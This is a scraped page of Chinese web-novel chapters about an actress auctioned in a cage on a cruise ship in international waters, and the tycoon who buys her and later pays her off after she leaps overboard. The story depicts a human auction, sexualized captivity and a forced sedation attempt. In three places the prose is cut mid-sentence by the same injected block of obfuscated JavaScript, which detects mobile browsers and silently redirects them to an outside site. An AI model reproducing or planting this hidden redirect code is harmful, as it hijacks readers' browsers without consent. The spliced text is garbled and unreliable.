薄黎也在听到秦明烟的‘不熟’时仿佛被钉在了原地,蓄在眼眶里的泪水都静止了,直到男人指挥安保把她拉走,她才像是反应过来似的朝秦明烟伸出手:“不要……不要……救救我……救——”
随着一行人消失在五层,声音也突然静止了,想必是被捂住了嘴。
乔锦元终于欣赏够了夜晚的潮汐,悠悠转回目光:“冒名登船的人,按照羲和号的规矩,要么立刻下船,要么也成为其中一件拍品,你说她会怎么选?”
秦明烟冷眼打断她:“你跟我说这个干什么?”
乔锦元抿了口手里的香槟,斜着睨了秦明烟一眼:“怕你找我退票啊。你第一次登船就发生这种意外,显得我们羲和号多不严谨?我当然要询问一下名声受损的秦总满不满意我们的处理方式?”
“无聊。”秦明烟搁下酒杯,往自己的房间走去。
半个小时后,一楼的拍卖厅人山人海,几乎整座船上的宾客都慕名来看这场不同寻常的拍卖会。
一块巨大的红布被罩在精品台上,隐约能看到红布下面半人高的笼子形状。
有年纪小的女孩未见过这种场景,惊讶的捂住自己的嘴:“他们这么做不犯法吗?”
旁边年纪稍长的姐姐点在她的额头,嘲笑她的天真:“这里可是公海,跟法律有什么关系?再说了,下船和被拍卖是那个小明星自己选的后者。拍卖所得的钱都会进她自己的钱包,明码标价,你情我愿的挣钱机会,可不是人口买卖。退一步说,就算是在沪城,那些捞钱的外围干这种事干得还算少吗?警察来了也没办法。”
女孩也不是什么都不懂的人:“可是他们花那么多钱,要求也很高吧?”
姐姐捂唇笑起来:“那就得看她担不担得起这些钱咯。”
下面的叫喊声此起彼伏,那些知道里面装了什么的人甚至喊红了眼:“赶紧把红布拉开!”
“快,给我们验验货!”
“快啊!”
拍卖师拉红布的手都在微微颤抖,她比场上任何一个人都先看到这件藏品。
最先入目的是一双脆弱的眼睛,泛着晶莹的光泽,乌黑的发丝黏在她的脸上,其中一缕被饱满的红唇含住,带着口红在嘴角晕染开,仿佛美人图上最靡绯的一笔。
瘦削的双手被金色的手铐铐在笼壁上,挣动间,仿佛被束缚的天鹅,紧绷的皮肤上沁出一粒粒细汗,随着红布被拉开,一点一点反射着华丽的灯光,比钻石还要闪耀。
红布落地的那一刻,黄金打造的笼子彻底展现在众人面前,叫喊声戛然而止,满座寂静。
然后,又在下一秒爆发出刺耳的欢呼声,一双双贪婪的目光落向拍卖台,一个个都红了眼。
拍卖师努力维持自己的职业素养,稳定住声线:“接下来,将拍卖诸位眼前的这一份藏品,买家可在接下来两天时间拥有这件藏品,直到羲和号返航,下面由我宣读使用过程中的禁止条约,以确保两天后藏品的安全。”
“起拍价,一百万起。”
4. 第四章
叫价的声音几乎没有停下来过,拍卖师连重复竞拍金额的机会都没有,又听到新的人举牌报价,直到价格飙过五百万,竞拍的节奏才终于慢下来。
薄黎也没有光鲜的社会地位,五百万,两天两夜,已经超过了‘市场价’,大多数人都不甘心的放下了牌子。
愿意继续出价的,都是些有特殊癖好,打算在公海上物尽其用的人。
顾林穿着服务员的制服,一双眼睛牢牢的盯着拍卖台,掌心里的手机几乎要被她给掐碎。她几次想要按下拨给苏柠商的电话,一想到薄黎也的交代,又生生的把这股念头给压下去。
听到叫价声超过六百万时,顾林觉得一个小时前的自己简直跟薄黎也一样脑子进水了。
价格越来越高,意味着要付出的东西也越多。
薄黎也这人压力太大脑子犯浑也就算了,她怎么能跟着一块糊涂?
“六百一十万,九号先生出价六百一十万!”拍卖师的小槌悬在半空,她看向上一个竞价的人,“十二号女士,您要不要追加?”
十二号的手牌也举了起来。
“六百二十万!六百二十万!”拍卖师重新扫过另外几个刚刚竞价激烈的人,“如果没有的话,我们就要定价了,六百二十万一次。”
拍卖槌第一次落下,顾林的心重重的一跳,薄黎也绝对不能被这么带走。
她颤抖着拨出苏柠商的电话,一滴冷汗跟着砸落在屏幕。
“六百二十万第二次。”拍卖槌第二次落下,台上的薄黎也挣动着金属手铐,发出‘叮叮’脆响,惹得台下又是一阵骚动。
苏柠商还没接起电话,不知道是公海上的信号有延迟,还是因为苏柠商正在忙,顾林屏住了呼吸,眼睛彻底红了。
她祈祷第三槌落得慢一点,再慢一点。
“六百二十万第——”
“八百万。”
大半个拍卖厅的视线齐刷刷望向声音来源。
举牌的男人并不陌生,之前就在拍卖场上拍下过两百万的青松白鹤图。那时就有人猜测是乔锦元在管教妹妹,才会让保镖过来抢拍品。
如今这个保镖竟然又出现了,他依旧站在那个角落,拿着一块候补的竞拍手牌,一开口就盖过了所有人。
场上的人心思百转,难不成,是秦明烟?毕竟薄黎也传了那么久有关秦明烟的绯闻,秦明烟才是最恨她的那个人。
有人试探着加了价:“八百一十万。”
那位保镖扶了下耳麦,高声道:“一千万。”
相较于他报出的这个巨额数字,更让人惊讶的是他接下来的话:“我们老板说了,无论是谁继续加价,她都会往上加五百万,诸位请自便。”
羲和号上有关门的验资团队评估竞拍者的资金能力,若有恶意扰乱秩序的,将会被立刻处理,保镖的这番话不可谓不狂妄。
电话那端的苏柠商已经接起电话,她开家长会开到一半,出来接了电话,语气不是很好。
顾林在这时候和台上的薄黎也对上视线,在所有人都以为薄黎也看的是买主时,顾林清楚的知道,薄黎也看的是她。
并非是求助,而是让她闭嘴。
顾林猜到了保镖的身份,心跳加速地对电话那端的苏柠商说:“苏总,小薄从苏小姐那儿要了羲和号的船票,我觉得有必要跟您报备一声。”
手底下艺人参加这种场合是什么目的,苏柠商向来不多过问,只说了句‘注意安全’就挂了电话。
最终,台上的竞拍价定格在了两千万。红布再次遮盖上了金笼,藏品将在几分钟后送到买家的手里。
今晚的拍卖也正式结束。
按照羲和号上的规矩,被拍下的藏品会先被送到一个房间验货,办完手续再送到买家的手中。
被抬到新房间时,抬笼子的工作人员不甚撞到桌角,笼子的一边倾斜,致使薄黎也的额头直直撞上笼柱。
“嘶——”
她疼得小声叫了一声,笼子里传来手铐挣动的声音,一滴泪从眼角滑出来,停在她鼻梁边的小红痣上。
随着红布被缓缓掀开,那双眼睛又再度垂敛到最柔弱的角度,新的眼泪不堪重负般从长睫上滑下来,暖黄的灯光下笼影金光璀璨,如一件华丽的祭品,待人亵玩。
入眼的不是秦明烟,竟是刚刚在最前面追她的人?
男人的目光贪婪的望着笼子里的薄黎也,他伸出手,情不自禁地去摸她的手。
站在旁边的工作人员立刻制止:“赵先生,请不要做除注射镇定剂以外的事情。”
赵洋惋惜地叹了口气,打开旁边的盒子,取出一管针剂,透明的液体在灯光下散发着冷寒的光。
房间里的空气潮湿,在金笼的映衬下,赵洋的呼吸也在加重:“买家真是秦明烟?”
在场的工作人员皆背过身,不透露买主信息分毫。
但赵洋无所谓,他这针能让薄黎也变得更听话的镇定剂,就算不是给秦明烟献殷勤,也是献给这条船上另一个财力雄厚的人。
“真是一条好狗啊。”
他低头的瞬间,一道冰冷的声音缓而轻地从他耳侧响起,和手铐的金属声混在一起,好似毒蛇爬行而过,令人毛骨悚然。
赵洋愣了两秒,看了一圈站在远处的工作人员,才意识到薄黎也是在跟他说话,他狠狠的骂过去:“你在骂谁?”
抬头的瞬间,只见刚刚还满身羸弱的人,眼底的惊恐全然消失。垂眼淡淡凝视他的时候,眼瞳好似深不见底的深渊,能勾起人最为恐惧的回忆。
薄黎也依旧是那副被铐住双手无力挣脱的模样,说出来的话却让赵洋在瞬间冒出冷汗:“当年你为了帮秦子旭阻止秦明烟回秦家,把她打伤成那样,害得她差点失去了一只眼睛。”
赵洋一怔,随即满脸惊恐的望着薄黎也:“你怎么知道?不,不,那不是我做的!”
薄黎也瞥了眼赵洋握着针筒发抖的手,说:“她第一次回秦家时,带人砸了她家,导致她妈妈肝癌恶化,也有你的一份。”
“你血口喷人!”学生时代的事情他们做得非常隐蔽,再加上当初监控的覆盖率低,就连警察也没能查出来这些事。
站在远处的几个工作人员等得不耐烦了,有人高声催促:“赵先生,针还没打完吗?”
“快、快了。”镇定剂是赵洋主动提出的,不违反羲和号上的规定,还能保证拍品的温顺,工作人员也就睁一只眼闭一只眼。
赵洋拉住了薄黎也手臂,将她的T恤袖口往上捋,正要拔开针盖,薄黎也忽然很轻很轻的叹了口气:“那你说秦明烟知不知道,两年前秦子旭为了争西山的项
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875562|191889||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
目,你们赵家倾尽家财,才帮秦子旭得到了继承人的位置?”
“你们赵家让她损失了多少钱?”
“你觉得现在给我打个简单的镇定剂,就能顺利当上她的狗吗?”
赵洋凶狠的警告薄黎也:“你给我闭嘴,你都要变成她的玩物了,还是多担心担心你自己吧。”
忽然,薄黎也安静了两秒,什么话也没说。
赵洋以为吓唬住了她,却在下一刻,看到薄黎也忽然露出一个极为愉悦的笑容,她的脸在笑容的加成下秾艳到有些妖冶,说出的话却令赵洋毛骨悚然。
“赵洋,你的报应快来了。”
赵洋气急败坏的钳住薄黎也的手,单手咬开针头盖,针管就要推进去——
房间的门忽然被人打开。
“你们在干什么?”
赵洋来不及回过头,手臂上传来一阵入骨的疼痛,紧接着,他整个人都被保镖踹飞出去。
针管四分五裂,里面的液体溅了一地。
他惊恐地回头去看笼子里的薄黎也。
只见刚刚还恐吓他的人,如今瑟缩在笼子的角落里止不住的发抖,眼泪一串串的落下来,小声抽泣着。被铐住的手臂上更是出现了道道鲜红的痕迹,像是进行过什么激烈的反抗。
“我只是怕她逃跑,想给她打镇定剂,刚刚她明明……”
赵洋伸手去指薄黎也,想要拆穿她虚伪的面目,却看到薄黎也无声的说了两个字:报应。
——你害她差点失去了一只眼睛。
——你害她妈妈肝癌恶化。
——你害她……
赵洋顿时说不出话了。
他僵硬的转过头,看到秦明烟看向他的眼神,冰冷,阴沉,活像是被觊觎了最珍贵的宝物。
“滚。”
等等,难道之前有关薄黎也甩过秦明烟的传闻,是真的?
意识到这一点后,赵洋脸色煞白,比笼子里的薄黎也还要白上几分。
赵洋逃似的离开了这个房间,以最快的速度给家里打电话。见过秦子旭如今的境况,他太了解得罪秦明烟的下场了。
三分钟后,保镖带着房间里的工作人员退了出去,并提取了地上的剩余针剂样本做化验。
秦明烟站在笼子前,冷眼看着里面的薄黎也。
相比较秦明烟一丝不苟的盘发和一身考究的素色套装,薄黎也可以说得上是狼狈至极。
“秦……秦……”薄黎也张了张嘴,像是想要说点什么,但说不出完整的字,眼泪又先掉下来了。
她今晚已经哭了太久,坏了嗓子,连哭腔都断断续续的,可怜得要命,一双眼睛却执拗的望着秦明烟,带着强烈的期盼与渴求。
秦明烟的视线从那双眼睛移开,修长的手指上勾着两枚能打开笼子和手铐的钥匙,用其中一把勾起了薄黎也的下巴,低声轻讽:“真可怜啊。”
薄黎也努力露出一个讨好的笑容,小声艰难的说:“谢谢你来救我。”
秦明烟像是听到了什么笑话,忍不住的笑了两声:“谁说我是来救你的?”
薄黎也的脸上闪过一丝茫然。
秦明烟的笑容褪去,手里的钥匙把薄黎也的脸抬得更高,尖刺深深抵进皮肉:“我花了两千万买你,你说,我要怎么样才能不亏本?”
5. 第五章
薄黎也脸上的表情瞬间变得空白。
她声若蚊蝇地问:“你……你也是来玩弄我的吗?”
“玩弄?”
秦明烟细细咀嚼了一遍这个词,眯了眯细长的眼,把抵在薄黎也下巴的钥匙滑下,滑过脖子上细腻的皮肤,刺过紧绷的锁骨,落到T恤的领口处,微微往下压。
薄黎也神色仓惶地躬起背,试图躲开秦明烟的钥匙。
秦明烟却忽然笑了。
她的笑声很冷,眼底更是没有一点温度:“薄黎也,玩弄现在的你,需要那么多钱吗?”
“那你?”
“这只是验货的房间。”
薄黎也的脸色一点点变得惨白了。
只是验货的房间,不代表秦明烟真的愿意花这笔钱。以一个小时前秦明烟和乔锦元的相处模式看来,秦明烟伪拍并不会收到任何惩罚。
为了维护秦明烟的名声,她不会再被送入拍卖会,只会成为流拍品。
不仅得不到那两千万,还会——“你不能这样,我会被扔下船的!”
秦明烟反问:“那又怎么样?”
薄黎也咬着自己的唇,眼底有水光波动。她紧紧的闭了下眼,像是追救命稻草般把自己的胸口朝着秦明烟的方向贴过去,直到蹭到那枚钥匙,直到蹭上秦明烟的掌心,微微下陷。
“你……你可以,对我做任何事情。”
手心传来温热的跳动,秦明烟的脸色却没有半分缓和,她重新将视线缓缓的落在薄黎也的脸上,认真的打量起来。
眼前的人明明还是那副熟悉的眉眼,只是过了几年长开了,变得更有欺骗性,也变得令她完全陌生。
薄黎也的肩膀已经紧张到颤抖,尤其是长久被高高拷起的双手因供血不足而发白,那双眼睛仍一动不动的望着她,像是把她当成了普度众生的救世主。
“呲——”
秦明烟收回了手,钥匙滑过笼子,发出刺耳的金属碰撞声。
薄黎也的眼底仍旧闪烁着光,不仅仅是眼泪,而是带有希望的、微弱的光芒。
秦明烟动作利落的解开了薄黎也的手铐、打开了那个金笼,一步一步往外走,声音却比以往更冰冷了些许:“我给你个机会。”
薄黎也在笼子里关得有些久,腿脚早就发了麻,她跌跌撞撞地走出这间房。
房间被设置在羲和号的最角落,走出房门,外面就是羲和号的一道外舱门。
夜晚咸腥的海风寒得刺骨,薄黎也跟着秦明烟走出去,有保镖早就等在那里,其中一个男人就是两次出现在拍卖会的人。
羲和号上很多精密的机器都被设置在这一带,因此平日里谢绝宾客进入,昏暗的照明灯破开夜晚的白雾,静得让人无端生出恐惧。
秦明烟带着她走到甲板的最边上才停下来,前方翻涌的海水拍打着船体,鞋边有海水溅上来,她的皮靴依旧光亮干净。
秦明烟望着海面,薄黎也就安安静静地站在旁边,低着头。
秦明烟看了会儿,才侧过头问:“乔锦元说你拿的是苏柠商的船票,冒名顶替,但票是真的,只要你说实话,乔锦元不会为难你,你为什么没有自辨?”
薄黎也的长发被海风吹起,白皙的脖子瑟缩了一下,低声说:“他们不会听的。”
秦明烟:“为什么?”
薄黎也自嘲般的笑了笑,说:“因为薄家已经倒了,因为我只是个无足轻重的小明星,不配跟他们一块站在这里。”
羲和号里金钱权势至上,秦明烟可以中途想来就来,拍下东西想反悔就反悔,她不需要遵守船上的任何规矩,薄黎也却是最需要守规矩的人。
秦明烟深深的看着薄黎也,像是能看穿她的内心:“薄黎也,收起你那点把戏,在乔冉面前我就提醒过你,我知道你想干什么,在我面前卖惨,没有用。”
薄黎也的心跳速度加快,声音依旧很轻:“哦。”
她这副既不承认也不否认的态度,更像是在赌秦明烟的态度。
美人当前,若换成拍卖场上的其他人,恐怕已经心软了,可她面对的是秦明烟。
秦明烟像是突然失去了所有的兴趣,耐心告罄。
“你不愿意下船,是为了钱。”
“就算不是我,也是另一个船上能出最多钱的人。拍卖自己能直接省去你接触筛选的时间,帮你在最快速度锁定目标。”
薄黎也的心越来越沉,就在她以为秦明烟不会收下她这件拍品时,秦明烟忽然说:
“我可以给你两千万。”
薄黎也的眼睫毛剧烈的抖动两下:“你说,什么?”
她的声音太轻,秦明烟并没有听清,大致能猜到。
“当年你替我妈妈支付的那些医药费,这两千万,就当是我连本带利的还你。”
秦明烟长了一张好看但显薄情寡义的脸,尤其是不笑的时候,会给人一种攻击性很强的冷感。当年上学时,那些人找秦明烟的麻烦,这张脸起了不小的推动作用。
但当年秦明烟只是个穷学生,这股攻击性尚且停留在表面,只是给人一种清冷孤高的感觉。如今秦明烟掌控秦家,金钱权势唾手可得,轻飘飘一句施舍的话,就能抵上很多人奋斗的一生。
自重逢以来,薄黎也第一次真实的感受到了秦明烟的变化,不仅仅是受人尊崇的地位,光鲜亮丽的衣着,还有短短几年内就被这个圈子同化了的高傲与冷漠。
眼角有泪水落下,这一回没有任何演的成分,薄黎也闭上眼,身体又轻轻颤抖了起来。
她缓缓的说:“不需要那么多,我可以为你做……”
秦明烟无情的打断薄黎也:“你能做什么?你知道我原本想让你做什么吗?你既然这么害怕被丢下船,我原本打算再让你选一回要不要跳下去,这附近有那么多救生船,两千万,买你能不能活着被捞上来。”
她的话听起来像是要放过薄黎也了,但更像是威胁。
薄黎也睁大了眼睛,终于露出明显的恐惧。
秦明烟看到了,只是牵了下嘴角:“但我现在觉得没必要,比起折磨你,我更不想再跟你有任何的牵扯。”
“等下了船,不要再让我看到你
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875563|191889||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,否则,我不介意把你送到精神病院去陪你未婚夫。”
薄黎也的脸色白了又白,压抑着颤音:“你就这么恨我吗?”
秦明烟没有应,目光平平的看着薄黎也,比起恨,她更像是彻底厌倦了,没有浓烈的情绪。
薄黎也的嘴唇剧烈的抖动两下,眸光黯淡下去。她哭得并不凶,没有被赵洋强迫打镇定针时的惊恐,反倒是很安静,有一种绝望的、奄奄一息般的安静。
仿佛遭受了重大的打击,再也找不到解救自己的办法,单薄的身形在寒风中摇摇欲坠。
秦明烟说:“看到你,我就觉得恶心。”
说完,她转身走向船舱,几名保镖敬业地跟上去,替她打开船舱厚重的门。
刚刚被赶出房门的工作人员还等在那里,看到秦明烟进来,微笑着问:“秦总,我们乔总让我来问一问,您对这拍品满不满意,以及那两千万?”
秦明烟漠然的说:“一会我会转过去。”
“哎,好,我这就……”
“噗咚——”
巨大的水花声从身后的方向传来,掩盖住工作人员后面的几个字,秦明烟转过身,甲板上已经空无一人,只留下护栏边溅起的一滩海水。
听到声音的工作人员直接冲了出去:“是有人落水了吗?”
“是人!海里有人!”
工作人员迅速作出反应,紧急下达通知:“快,启动一级救援方案,并联系附近的救生船捞人!”
深夜一点,羲和号周围灯火骤明,随行的救生船入江河入海般汇到落水的方向,听到动静的宾客纷纷站上甲板,窥探下面发生的事情。
在听到落水的是今夜被拍卖的那个小明星后,纷纷倒吸了口凉气,但也没有人去伸张什么,仍旧挑了个好的位置看戏。
毕竟,这种事看得多了,早就已经麻木。
海水的昼夜温差极大,薄黎也被打捞得还算及时,但捞上来的时候也已经神智不清,在几分钟后迅速发起了高烧。
她就像一块面团,被人翻来覆去的折腾,体温时高时低,反反复复,等天微微亮的时候,医生才终于放过了她,开门走了出去。
顾林得到消息就不顾一切的赶过来,一边搬出苏柠商,一边又好言相求,终于得到留下来的允许,等医生一出来,她也不管自始至终都没说过话的秦明烟,直接冲了进去。
乔锦元陪秦明烟坐了一夜,眉眼间难免露出疲态,她揉着眉心起身:“人别折在我的船上啊。”
一夜过去,秦明烟精致的盘发在簪间掉落几缕,垂曳在紧绷的肩上。
她沉默地听着乔锦元的话。
直到乔锦元拉开房门,身后响起沙哑的嗓音:“乔冉帮她买耳环的五十万,我一会转你。”
乔锦元回头望向秦明烟,秦明烟依旧保持着维持了一夜的姿势,微微偏头看着窗外翻涌的海水,丝毫没有‘害’了人的负罪感,面容凉薄不通人情。
半晌,她嗤笑了声:“我捞她救她也花了很多钱,你要不要一块转给我?”
秦明烟也说:“好。”
6. 第六章
薄黎也再次醒来时天已经完全黑了,房间里传来键盘的敲击声,她寻着声音望去,模糊的视线里,秦明烟的身形渐渐清晰。
宽面的吊带缎面长裙和夜色融合在一起,宁静地像一幅画。
薄黎也想起了当年高中的晚自习,秦明烟穿着校服低头写字时也是这么安静,身上那些疏离的冷意都好像化作了一种很清雅的气质,让人忍不住看一眼,再多看一眼。
薄黎也脑子昏昏沉沉的,有些分不清过去和现在,直到秦明烟走到她面前,粗暴的用额温枪抵了下她的额头。
“烧退了。”
薄黎也怯怯地望向秦明烟:“你是来赶我走的吗?”
秦明烟站在床边,把薄黎也的手机递过去。
薄黎也离开房间的时候没来得及拿手机,所以没跟她一块跳海。
她左手背上的伤已经被包扎,挂盐水的针换到了右手,她看着秦明烟递过来的手机,投去困惑的眼神。
“打开看看。”秦明烟说。
薄黎也小心翼翼地接过来,才刚唤醒屏幕,就看到一条很多个零的入账短信。
她的手指有点发抖,直到点开对应银行的app查询入账金额。
20,000,000。
真是两千万!
自从薄家破产后,薄黎也就没见过这么多钱,她翻来覆去的数着零的个数,数得眼花缭乱,数得飘飘欲仙。
然后,她听到秦明烟说:“账户是找你经纪人要的。”
这声音犹如天籁,薄黎也甚至想问一问,她还能不能再跳几次海。
好几秒后,她听到自己问:“你没写转账备注,不会等下船了就要回去吧?”
“我没那么多闲功夫。”秦明烟冷漠地说。
也是,秦家那么有钱,两千万对秦明烟来说就跟买苹果一样容易,怎么会跟拖欠片酬的那些无良投资方一样抠门?
薄黎也抱着手机,笑容从眼底藏不住的满溢出来。
“不装了?”秦明烟突然毫无征兆地掐住了薄黎也的下巴。
薄黎也眼底的笑容一晃,又再度露出一个温温顺顺的笑容,即使被秦明烟继续抬高下巴到难以吞咽,她也只是颤抖着扬起脆弱的脖子,乖巧得过分。
这样的薄黎也丝毫不会引起人的同情,反而会加剧人的恶劣因子,薄黎也向来都知道怎么展示自己。
秦明烟看了她会儿,突兀地收回了手,说:“跳海的事情很多人都看到了,接下来两天直到船靠岸,你都待在这里,不准接触其他人。”
薄黎也忙点头应下来,保证道:“没有你的允许,我肯定不见其他人,也不会乱说话。”
秦明烟对她的懂事还算满意,转身去叫了医生和晚餐。
晚餐只有薄黎也一个人,秦明烟并不在房间。许是在隔壁,许是根本不在这个套间。
薄黎也没有开门去找人,她有些摸不准秦明烟的心思,也猜不准秦明烟留下她的动机。
秦明烟要她安安分分地待在这个房间,她就安安分分的待着。
她握紧了手机,又把银行卡余额调出来看了几遍。
这一趟上船的收获已经超出她的预期。
薄黎也的身体素质还不错,第二天早上醒来时,身体已经恢复得差不多。她本以为依旧见不到秦明烟,没想到早餐快吃完时,秦明烟出现了。
薄黎也正坐在床上咬着半块吐司,见秦明烟进来,忙放了下来,露出一个标准的微笑:“早上好。”
秦明烟扫了眼餐桌,直接说明来意:“乔冉在外面闹,要见你。”
羲和号的第五层只有秦明烟和乔锦元两个人住,其他宾客不被允许,但乔冉是乔锦元的堂妹,算是个意外。
秦明烟高中时就喜欢独处,最讨厌吵闹的人,当年要不是因为能救她妈妈的医生开价太高,也不至于忍受薄黎也那么久。
一想到门外的乔冉吵得秦明烟办不了公,薄黎也就想给乔冉鼓个掌。
但她脸上没有表现出任何快意,十分为难的问:“那我……可以见一见她吗?”
秦明烟意味不明地看着她,薄黎也立刻表明立场:“你说过不让我见外人,如果你不想让我见,我肯定不见。如果你让我见她,我保证不会乱说话的。”
薄黎也的声音还没完全恢复,带了点鼻音,比平日里要软。阳光落在她的身上,对着秦明烟露出一个依赖的、漂亮的笑。
秦明烟同意了,还把房间单独留给了乔冉和薄黎也。
乔冉进来之前,似乎是看到了秦明烟,大声说了几句话,房间的隔音太好,薄黎也没有听清,但能猜到是什么骂人的话。
她忍俊不禁地笑了两下,然后重新调整自己的表情,在乔冉进门时,露出一个久病无力的、勉强的笑容:“你来了。”
乔冉进门前已经做过思想准备,到底年纪小,在亲眼目睹薄黎也气息奄奄的模样后,直接哇一声哭了出来:“我就知道那个姓秦的不安好心,她看着就不像什么好人,肯定是她逼你的对不对?”
薄黎也显然没想到小姑娘这么在意她,脸上伪装出来的表情瞬间僵硬住,无措地抽过纸巾给乔冉擦眼泪:“你先别哭,其实这事不怪秦总。”
乔冉哭得小脸通红:“怎么不怪她?我都听说了,是她花钱买了你,你跳海的时候她也在那里,还带了好几个人高马大的保镖!”
薄黎也可不敢让秦明烟担这个罪名,赶紧说出自己早就准备好的说辞:“你真的误会了,是秦总花了两千万救我,但她来找我前,船上另一个叫赵洋的人买通了船员,要给我打镇定剂,本意是为了讨好秦总。”
乔冉眼泪停住,愣愣地问:“那你们去甲板上干什么?”
薄黎也喝了口牛奶,她身上穿着白色的棉质睡衣,整个人看起来亲和又有信服力:“镇定剂有副作用,我觉得有些热,想去吹吹风。当时在甲板边我也不知道是怎么了,可能是药物过敏产生了幻觉,不小心摔了下去。”
“那个赵洋也太过分了吧!薄姐姐你有没有做后续的检查,镇定剂没有其他的副作用吧?多亏秦姐姐当时在那里,才能及时救人。”
秦明烟的房间里,乔锦元听着妹妹的称呼从‘姓秦的’变成‘秦姐姐’,忍不住调侃道:“明烟啊,这个小明星的嘴可真有意思。”
秦明烟面无表情的瞥了乔锦元一眼,问:“你喜欢?”
乔锦元一想到两千万,不敢有兴趣:“我可养不起她这么贵的。”
既然提到这个,乔锦元起了兴趣:“明天早上就回沪城了,两千万,你就让她躺在那养病,什么也不做?”
秦明烟淡声:“龌龊。”
乔锦元‘呵呵’两声,站起身:“成,我思想龌龊,你做你道德高尚接济前女友的慈善家去吧。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875564|191889||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
在薄黎也打了第三次哈欠的时候,乔冉依依不舍的从房间离开。
人一走,薄黎也立刻恢复精气神,她拿过手机看了眼时间,已经过去四十分钟。
不知道对秦明烟来说算不算久。
薄黎也下了床,打算试探一下秦明烟的态度。
她走到门边,轻轻敲了两下,门先从外侧被打开,秦明烟的语气有些不耐烦:“你要干什么?”
薄黎也像是被吓到了,肩膀剧烈的抖动一下,说:“乔,乔冉刚,刚走,我没,乱说话。”
“连说话都不会了吗?”秦明烟的态度稍稍缓和,走进薄黎也的房间,“我刚刚遇到她了,你做的不错。”
薄黎也轻轻柔柔的笑了笑,说:“我跳海的事本来就跟你没有关系,是我自愿的,不能让你被误会。”
她这么一迎合,秦明烟的脸色又冷了下来:“明天早上船会靠岸,你立刻走。”
“……那你呢?”
秦明烟直接走到沙发的主位坐下,右腿叠到左膝上,笔直的小腿从裙摆间露出一截,配着银色细高跟:“这两天收留你是因为跳海的事是因我而起,我不想刚回国就死了人惹晦气。薄黎也,你不会下了船还要赖着我吧?”
薄黎也的眼眶又红了,但她这一回没有再做无谓的挣扎,只是顺从的摇了摇头。
秦明烟很是满意,施舍了她点体面:“我会派车送你。”
薄黎也说:“谢谢。”
秦明烟进来前刚跟欧洲那边打了通电话,有些渴。薄黎也察觉到她扫向杯子的目光,立刻贴心的给秦明烟倒了杯水,双手递过去。
秦明烟伸手正要接过,茶杯忽然晃了一下,被秦明烟眼疾手快的扶稳。
“对、对不起,有没有溅到你?”薄黎也慌张地看着秦明烟。
秦明烟说‘没有’,视线却落在薄黎也姿势有些怪异的右手上:“你手怎么了?”
“没事。”薄黎也似乎并不想让她知道,否认得很快。
重逢以来,薄黎也恨不能什么事都展现到她面前卖惨,突然否认,明显是在隐瞒什么。
秦明烟把杯子放到茶几上,声音不重,却在安静的房间里格外清晰。
“我再问一遍,你手怎么了?”
薄黎也遮遮掩掩的把右肩往后靠,像是心虚似的:“真没什么的。”
秦明烟不耐烦的直接去抓人,她按住了薄黎也的右手,正要查看,听薄黎也忽然发出一声痛呼。她像是受不了地快速解释:“是那天被捞上来的时候有点脱臼了。”
秦明烟在监控里看过薄黎也糊弄乔冉的表演,有些不信:“我刚刚问你为什么不说?”
薄黎也咬着唇,低声说得异常深情:“我好不容易能离你近一点,我怕提到跳海的事,又让你不高兴啊。”
秦明烟皱着眉,判断此话的真实性。
薄黎也快速解开了睡衣纽扣,展示给秦明烟:“真的脱臼了,我没骗你。”
秦明烟只是一时不察,奶白的睡衣已经被掀开。
脱臼的肩关节处映出淡淡的粉,薄黎也似乎是疼久了,有汗珠沁在皮肤上,随着她倾身的动作,一路淌进雪白的胸口。
松垮的睡衣只要再往下掉几毫米,就能看到鲜艳嫣红的色泽,若隐若现地要从衣服里探出头来。
秦明烟的脸色一沉:“穿好你的衣服。”
7. 第七章
薄黎也被秦明烟忽如其来的变脸吓到,目光呆呆的,清澈得没有一丝杂质。
好像她真的是脱臼疼久了,想让秦明烟帮她看看,除此之外,没有任何其他的心思。
窗外的冷风灌进来,夹杂着洋流间冰山的寒气,薄黎也往秦明烟的方向靠了靠,拉开衣服的手依旧没有放下来,像是害怕被秦明烟责怪似的。
她慢吞吞地开口:“可是,是你要我给你看脱臼的位置的,我又惹你不开心了吗?”
秦明烟试图从薄黎也的脸上看出一丝伪装的痕迹,就像她无数次查看监控一样。
但无论是在监控里,还是在她面前,薄黎也都是这副逆来顺受的样子,和她记忆里骄纵的大小姐判若两人。
她想起助理调查到的那些资料。
“薄家是在五年前的十一月因资金链断裂彻底宣告破产的,其法人薄靳言女士在当年五月突然离港,后报道称船只遇上海盗无人幸免。”
“而薄承先生因为跟薄靳言女士的婚姻关系,以及他在薄家的职位因素,承担了近半数的债务。”
